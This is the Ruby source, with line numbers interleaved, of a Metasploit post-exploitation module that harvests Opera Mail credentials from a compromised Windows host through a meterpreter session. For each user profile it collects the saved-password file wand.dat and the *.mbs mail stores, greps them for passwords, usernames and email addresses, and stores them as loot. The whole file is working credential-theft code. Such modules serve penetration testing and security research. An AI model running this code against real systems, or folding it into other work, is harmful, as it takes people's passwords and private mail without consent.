1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  include Msf::Post::File
9
  include Msf::Post::Windows::UserProfiles
10
  include Msf::Post::Windows::Packrat
11
  ARTIFACTS =
12
    {
13
      application: 'operamail',
14
      app_category: 'emails',
15
      gatherable_artifacts: [
16
        {
17
          filetypes: 'chats_image',
18
          path: 'AppData',
19
          dir: 'Opera Mail',
20
          artifact_file_name: 'wand.dat',
21
          description: "Opera-Mail's saved Username and Passwords",
22
          credential_type: 'text',
23
          regex_search: [
24
            {
25
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
26
              extraction_type: 'credentials',
27
              regex: [
28
                '(?i-mx:password.*)',
29
                '(?i-mx:username.*)'
30
              ]
31
            },
32
            {
33
              extraction_description: 'searches for Email TO/FROM address',
34
              extraction_type: 'Email addresses',
35
              regex: [
36
                '(?i-mx:to:.*)',
37
                '(?i-mx:from:.*)'
38
              ]
39
            }
40
          ]
41
        },
42
        {
43
          filetypes: 'email_logs',
44
          path: 'LocalAppData',
45
          dir: 'Opera Mail',
46
          artifact_file_name: '*.mbs',
47
          description: "Opera-Mail's Emails",
48
          credential_type: 'text',
49
          regex_search: [
50
            {
51
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
52
              extraction_type: 'credentials',
53
              regex: [
54
                '(?i-mx:password.*)',
55
                '(?i-mx:username.*)'
56
              ]
57
            },
58
            {
59
              extraction_description: 'searches for Email TO/FROM address',
60
              extraction_type: 'Email addresses',
61
              regex: [
62
                '(?i-mx:to:.*)',
63
                '(?i-mx:from:.*)'
64
              ]
65
            }
66
          ]
67
        }
68
      ]
69
    }.freeze
70

71
  def initialize(info = {})
72
    super(
73
      update_info(
74
        info,
75
        'Name' => 'Operamail Credential Gatherer',
76
        'Description' => %q{
77
          This module searches for Operamail credentials on a Windows host.
78
        },
79
        'License' => MSF_LICENSE,
80
        'Author' => [
81
          'Kazuyoshi Maruta',
82
          'Daniel Hallsworth',
83
          'Barwar Salim M',
84
          'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
85
        ],
86
        'Platform' => ['win'],
87
        'SessionTypes' => ['meterpreter'],
88
        'Notes' => {
89
          'Stability' => [CRASH_SAFE],
90
          'Reliability' => [],
91
          'SideEffects' => []
92
        }
93
      )
94
    )
95

96
    register_options(
97
      [
98
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
99
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
100
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
101
        # enumerates the options based on the artifacts that are defined below
102
        OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
103
      ]
104
    )
105
  end
106

107
  def run
108
    print_status('Filtering based on these selections:  ')
109
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
110
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
111
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
112

113
    # used to grab files for each user on the remote host
114
    grab_user_profiles.each do |userprofile|
115
      run_packrat(userprofile, ARTIFACTS)
116
    end
117

118
    print_status 'PackRat credential sweep completed'
119
  end
120
end
121

122